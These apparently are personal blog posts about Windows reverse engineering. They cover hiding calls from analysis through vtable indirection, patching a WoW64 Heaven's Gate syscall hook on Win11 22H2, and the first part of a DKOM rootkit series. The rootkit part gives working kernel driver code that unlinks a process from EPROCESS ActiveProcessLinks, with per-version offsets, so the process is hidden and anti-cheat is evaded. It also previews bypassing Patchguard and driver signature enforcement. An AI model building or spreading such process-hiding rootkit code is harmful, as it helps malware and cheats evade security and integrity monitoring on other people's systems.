Well, technically, it isn’t obfuscated. But the thing is, when an analyzer doesn’t have the .pdb file which contains the symbols name, then it will be harder to follow the calls and purpose of a certain call without using debugger.

This disassembly shows exactly what is going on under the hood with relation to polymorphism. For the invocations of function, the compiler moves the address of the object in to the EDX register. This is then dereferenced to get the base of the VMT and stored in the EAX register. The appropriate VMT entry for the function is found by using EAX as an index and storing the address in EDX. This function is then called. Since HEAVENSGATE_BASE and HEAVENSGATE have different VMTs, this code will call different functions — the appropriate ones — for the appropriate object type. Seeing how it’s done under the hood also allows us to easily write a function to print the VMT.

Fig8: Direct function call is now gone

We can now just see that the direct call (in comparison with Fig5) is now gone. Traces and footprints will be harder to be traced.

Conclusion

Dividing the classes into two: a Base and the Original class, is a time consuming task. It also make the code looks ugly. But somehow, it can greatly add protection to our binary from analysis.

Win11 22H2: Heaven’s Gate Hook

This won’t get too long. Just a quick fix for heavens gate hook (https://mark.rxmsolutions.com/through-the-heavens-gate/) as Microsoft updates the wow64cpu.dll that manages the translation from 32bit to 64bit syscalls of WoW64 applications.

To better visualize the change, here is the comparison of before and after.

Prior to 22h2, down until win10.
win11 22h2

With that being said, you cannot place a hook on 0x3010 as it would take a size of 8 bytes replacement. And would destroy the call mechanism even if you fix the displacement of call.

The solution

The solution is pretty simple. As in very very simple. Copy all the bytes from 0x3010 down until 0x302D. Fix the displacement only for the copied jmp at 0x3028. Then place the hook at 0x3010.
Basically, the copied gate (via VirtualAlloc or Codecave) will continue execution from original 0x3010. And so, the original 0x3015 and onwards will not be executed ever again.

Pretty easy right?

Notes

In the past, Microsoft tends to use far jump to set the CS:33. CS:33 signify that the execution will be a long 64 bit mode in order to translate from 32bit to 64bit. Now, they managed to create bridge without the need for far jmp. Lot of readings need to be cited in order to understand these new mechanism but please do let me know!

Conquering Userland (1/3): DKOM Rootkit

I am now close at finishing the HTB Junior Pentester role course but decided to take a quick brake and focus on one of my favorite fields: reversing games and evading anti-cheat.

The goal

The end goal is simple, to bypass the Cheat Engine for usermode anti-cheats and allow us to debug a game using type-1 hypervisor.

This writeup will be divided into 3 parts.

  • First will be the concept of Direct Kernel Object Manipulation to make a process unlink from eprocess struct.
  • Second, the concept of hypervisor for debugging.
  • And lastly, is the concept of Patchguard, Driver Signature Enforcement and how to disable those.

So without further ado, let’s get our hands dirty!

Difference Between Kernel mode and User mode

https://mark.rxmsolutions.com/wp-content/uploads/2023/09/Difference-Between-User-Mode-and-Kernel-Mode-fig-1.png
Kernel-mode vs User modeIn kernel mode, the program has direct and unrestricted access to system resources.In user mode, the application program executes and starts.
InterruptionsIn Kernel mode, the whole operating system might go down if an interrupt occursIn user mode, a single process fails if an interrupt occurs.  
ModesKernel mode is also known as the master mode, privileged mode, or system mode.User mode is also known as the unprivileged mode, restricted mode, or slave mode.
Virtual address spaceIn kernel mode, all processes share a single virtual address space.In user mode, all processes get separate virtual address space.
Level of privilegeIn kernel mode, the applications have more privileges as compared to user mode.While in user mode the applications have fewer privileges.
RestrictionsAs kernel mode can access both the user programs as well as the kernel programs there are no restrictions.While user mode needs to access kernel programs as it cannot directly access them.
Mode bit valueThe mode bit of kernel-mode is 0.While; the mode bit of user-mode is 3.
Memory ReferencesIt is capable of referencing both memory areas.It can only make references to memory allocated for user mode. 
System CrashA system crash in kernel mode is severe and makes things more complicated.
 
In user mode, a system crash can be recovered by simply resuming the session.
AccessOnly essential functionality is permitted to operate in this mode.User programs can access and execute in this mode for a given system.
FunctionalityThe kernel mode can refer to any memory block in the system and can also direct the CPU for the execution of an instruction, making it a very potent and significant mode.The user mode is a standard and typical viewing mode, which implies that information cannot be executed on its own or reference any memory block; it needs an Application Protocol Interface (API) to achieve these things.
https://www.geeksforgeeks.org/difference-between-user-mode-and-kernel-mode/

Basically, if the anti-cheat resides only in usermode, then the anti-cheat doesn’t have the total control of the system. If you manage to get into the kernelmode, then you can easily manipulate all objects and events in the usermode. However, it is not advised to do the whole cheat in the kernel alone. One single mistake can cause Blue Screen Of Death, but we do need the kernel to allow us for easy read and write on processes.

EPROCESS

The EPROCESS structure is an opaque structure that serves as the process object for a process.

Some routines, such as PsGetProcessCreateTimeQuadPart, use EPROCESS to identify the process to operate on. Drivers can use the PsGetCurrentProcess routine to obtain a pointer to the process object for the current process and can use the ObReferenceObjectByHandle routine to obtain a pointer to the process object that is associated with the specified handle. The PsInitialSystemProcess global variable points to the process object for the system process.

Note that a process object is an Object Manager object. Drivers should use Object Manager routines such as ObReferenceObject and ObDereferenceObject to maintain the object’s reference count.

https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/eprocess

Interestingly, the EPROCESS contains an important handle that can enumerate the running process.
This is where the magic comes in.

typedef struct _EPROCESS
{
     KPROCESS Pcb;
     EX_PUSH_LOCK ProcessLock;
     LARGE_INTEGER CreateTime;
     LARGE_INTEGER ExitTime;
     EX_RUNDOWN_REF RundownProtect;
     PVOID UniqueProcessId;
     LIST_ENTRY ActiveProcessLinks;
     ULONG QuotaUsage[3];
     ULONG QuotaPeak[3];
     ULONG CommitCharge;
     ULONG PeakVirtualSize;
     ULONG VirtualSize;
     LIST_ENTRY SessionProcessLinks;
     PVOID DebugPort;
     union
     {
          PVOID ExceptionPortData;
          ULONG ExceptionPortValue;
          ULONG ExceptionPortState: 3;
     };
     PHANDLE_TABLE ObjectTable;
     EX_FAST_REF Token;
     ULONG WorkingSetPage;
     EX_PUSH_LOCK AddressCreationLock;
...
https://mark.rxmsolutions.com/wp-content/uploads/2023/09/0cb07-capture.jpg

Each list element in LIST_ENTRY is linked towards the next application pointer (flink) and also backwards (blink) which then from a circular list pattern. Each application opened is added to the list, and removed also when closed.

Now here comes the juicy part!

Unlinking the process

Basically, removing the pointer of an application in the ActiveProcessLinks, means the application will now be invisible from other process enumeration. But don’t get me wrong. This is still detectable especially when an anti-cheat have kernel driver because they can easily scan for unlinked patterns and/or perform memory pattern scanning.

A lot of rootkits use this method to hide their process.

adios

Visualization

Before / Original State
After Modification

Checkout this link for image credits and for also a different perspective of the attack.

Kernel Driver

NTSTATUS processHiderDeviceControl(PDEVICE_OBJECT, PIRP irp) {
	auto stack = IoGetCurrentIrpStackLocation(irp);
	auto status = STATUS_SUCCESS;

	switch (stack->Parameters.DeviceIoControl.IoControlCode) {
	case IOCTL_PROCESS_HIDE_BY_PID:
	{
		const auto size = stack->Parameters.DeviceIoControl.InputBufferLength;
		if (size != sizeof(HANDLE)) {
			status = STATUS_INVALID_BUFFER_SIZE;
		}
		const auto pid = *reinterpret_cast<HANDLE*>(stack->Parameters.DeviceIoControl.Type3InputBuffer);
		PEPROCESS eprocessAddress = nullptr;
		status = PsLookupProcessByProcessId(pid, &eprocessAddress);
		if (!NT_SUCCESS(status)) {
			KdPrint(("Failed to look for process by id (0x%08X)\n", status));
			break;
		}

Here, we can see that we are finding the eprocessAddress by using PsLookupProcessByProcessId.
We will also get the offset by finding the pid in the struct. We know that ActiveProcessLinks is just below the UniqueProcessId. This might not be the best possible way because it may break on the future patches when a new element is inserted below UniqueProcessId.

Here is a table of offsets used by different windows versions if you want to use manual offsets rather than the method above.

Win7Sp00x188
Win7Sp10x188
Win8p10x2e8
Win10v16070x2f0
Win10v17030x2e8
Win10v17090x2e8
Win10v18030x2e8
Win10v18090x2e8
Win10v19030x2f0
Win10v19090x2f0
Win10v20040x448
Win10v20H10x448
Win10v20090x448
Win10v20H20x448
Win10v21H10x448
Win10v21H20x448
ActiveProcessLinks offsets
		auto addr = reinterpret_cast<HANDLE*>(eprocessAddress);
		LIST_ENTRY* activeProcessList = 0;
		for (SIZE_T offset = 0; offset < consts::MAX_EPROCESS_SIZE / sizeof(SIZE_T*); offset++) {
			if (addr[offset] == pid) {
				activeProcessList = reinterpret_cast<LIST_ENTRY*>(addr + offset + 1);
				break;
			}
		}

		if (!activeProcessList) {
			ObDereferenceObject(eprocessAddress);
			status = STATUS_UNSUCCESSFUL;
			break;
		}

		KdPrint(("Found address for ActiveProcessList! (0x%08X)\n", activeProcessList));

		if (activeProcessList->Flink == activeProcessList && activeProcessList->Blink == activeProcessList) {
			ObDereferenceObject(eprocessAddress);
			status = STATUS_ALREADY_COMPLETE;
			break;
		}

		LIST_ENTRY* prevProcess = activeProcessList->Blink;
		LIST_ENTRY* nextProcess = activeProcessList->Flink;

		prevProcess->Flink = nextProcess;
		nextProcess->Blink = prevProcess;

We also want the process-to-be-hidden to link on its own because the pointer might not exists anymore if the linked process dies.

		activeProcessList->Blink = activeProcessList;
		activeProcessList->Flink = activeProcessList;

		ObDereferenceObject(eprocessAddress);
	}
		break;
	default:
		status = STATUS_INVALID_DEVICE_REQUEST;
		break;
	}

	irp->IoStatus.Status = status;
	irp->IoStatus.Information = 0;
	IoCompleteRequest(irp, IO_NO_INCREMENT);
	return status;
}

POC

Before
After

Warnings

There are 2 problems that you need to solve first before being able to do this method.

First: You need to disable Driver Signature Enforcement

You need to load your driver to be able to execute kernel functions. You either buy a certificate to sign your own driver so you do not need to disable DSE or you can just disable DSE from windows itself. The only problem of disabling DSE is that some games requires you to have enabled DSE before playing.

Second: Bypass Patchguard

Manually messing with DKOM will result you to BSOD. They got a tons of checks. But luckily we have some ways to bypass patchguard.

These 2 will be tackled on the 3rd part of the writeup. Stay tuned!